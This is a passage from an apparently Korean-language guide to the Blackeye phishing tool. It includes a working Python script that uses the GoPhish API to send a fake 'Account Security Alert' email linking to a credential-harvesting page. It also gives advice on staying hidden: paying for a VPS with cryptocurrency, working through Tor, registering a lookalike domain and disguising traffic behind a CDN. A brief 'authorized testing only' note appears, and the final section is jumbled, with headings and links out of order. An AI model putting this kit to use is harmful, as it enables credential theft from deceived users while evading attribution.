error_log /var/log/nginx/blackeye_error.log;
\\\\}
EOF
# Enable site
sudo ln -s /etc/nginx/sites-available/blackeye /etc/nginx/sites-enabled/
sudo systemctl reload nginx
```### GoPhish 통합
```python
# Integrate Blackeye with GoPhish for email delivery
import requests
import json
def create_gophish_campaign_with_blackeye(blackeye_url):
"""Create GoPhish campaign using Blackeye URL"""
gophish_api_url = "http://localhost:3333/api"
api_key = "your_gophish_api_key"
headers = \\\\{
'Authorization': f'Bearer \\\\{api_key\\\\}',
'Content-Type': 'application/json'
\\\\}
# Create email template
template_data = \\\\{
"name": "Blackeye Social Media Campaign",
"subject": "Account Security Alert",
"html": f"""
<html>
<body>
<h2>Security Alert</h2>
<p>We've detected suspicious activity on your account.</p>
<p>Please verify your identity immediately:</p>
<p><a href="\\\\{blackeye_url\\\\}" style="background-color: #007bff; color: white; padding: 10px 20px; text-decoration: none;">Verify Account</a></p>
</body>
</html>
""",
"text": f"Please verify your account: \\\\{blackeye_url\\\\}"
\\\\}
# Create campaign
campaign_data = \\\\{
"name": "Blackeye Integration Campaign",
"template": template_data,
"url": blackeye_url,
"groups": [\\\\{"name": "Target Group"\\\\}]
\\\\}
response = requests.post(
f"\\\\{gophish_api_url\\\\}/campaigns",
headers=headers,
json=campaign_data
)
return response.json()
# Usage
blackeye_url = "https://your-ngrok-url.ngrok.io"
campaign = create_gophish_campaign_with_blackeye(blackeye_url)
print(f"Campaign created: \\\\{campaign\\\\}")
```## 운영 보안
### 인프라 보안
```bash
# Use VPS with anonymous payment
# Setup through Tor/VPN
# Use legitimate domain names
# Implement SSL certificates
# Example secure deployment
# 1. Purchase VPS with cryptocurrency
# 2. Access through Tor browser
# 3. Register domain with privacy protection
# 4. Setup Let's Encrypt SSL
# 5. Configure proper logging
```### 도메인 및 SSL 설정
```bash
# Register legitimate-looking domain
# Example: account-security-verification.com
# Setup Let's Encrypt SSL
sudo apt install certbot python3-certbot-apache
sudo certbot --apache -d your-domain.com
# Or manual certificate
sudo certbot certonly --manual -d your-domain.com
```### 트래픽 난독화
```bash
# Use CDN services
# Implement realistic timing delays
# Use common ports (80, 443)
# Mimic legitimate traffic patterns
# Example CloudFlare setup
# 1. Add domain to CloudFlare
# 2. Configure DNS records
# 3. Enable proxy (orange cloud)
# 4. Configure security settings
```## 문제 해결
### 일반적인 문제
```bash
# Permission denied
chmod +x blackeye.sh
# PHP not found
sudo apt install php php-cli
# Port already in use
sudo netstat -tulpn|grep :80
sudo kill -9 $(sudo lsof -t -i:80)
# Template not loading
# Check file permissions
# Verify PHP configuration
# Test with curl
# Ngrok authentication failed
ngrok authtoken YOUR_TOKEN
```### 디버그 모드
```bash
# Enable PHP error reporting
echo "error_reporting = E_ALL" >> /etc/php/7.4/cli/php.ini
echo "display_errors = On" >> /etc/php/7.4/cli/php.ini
# Check Apache/Nginx logs
tail -f /var/log/apache2/error.log
tail -f /var/log/nginx/error.log
# Test template manually
php -S localhost:8000 -t /path/to/template/
```## 모범 사례
### 캠페인 계획```bash
# Authorized testing only
# Obtain proper written authorization
# Follow responsible disclosure
# Protect captured data
# Document all activities
# Data protection measures
# Encrypt captured credentials
# Secure data transmission
# Implement data retention policies
# Regular security audits
```**대상 조사**: 대상 인구 통계와 플랫폼 사용 이해```bash
# Optimize for high traffic
# Use CDN for static content
# Implement caching
# Monitor server resources
# Scale horizontally if needed
```**템플릿 선택**: 대상 고객에게 적합한 템플릿 선택https://github.com/thelinuxchoice/blackeye **인프라 설정**: 안전하고 익명의 호스팅 사용https://github.com/thelinuxchoice**테스트 **: 배포 전 템플릿 철저히 테스트https://www.php.net/docs.php**모니터링 **: 실시간 캡처 모니터링 구현
### 법적 및 윤리적 고려사항
https://ngrok.com/docs##
# 성능 최적화
https://owasp.org/www-community/attacks/Phishing#
# 리소스
- [Blackeye GitHub 저장소](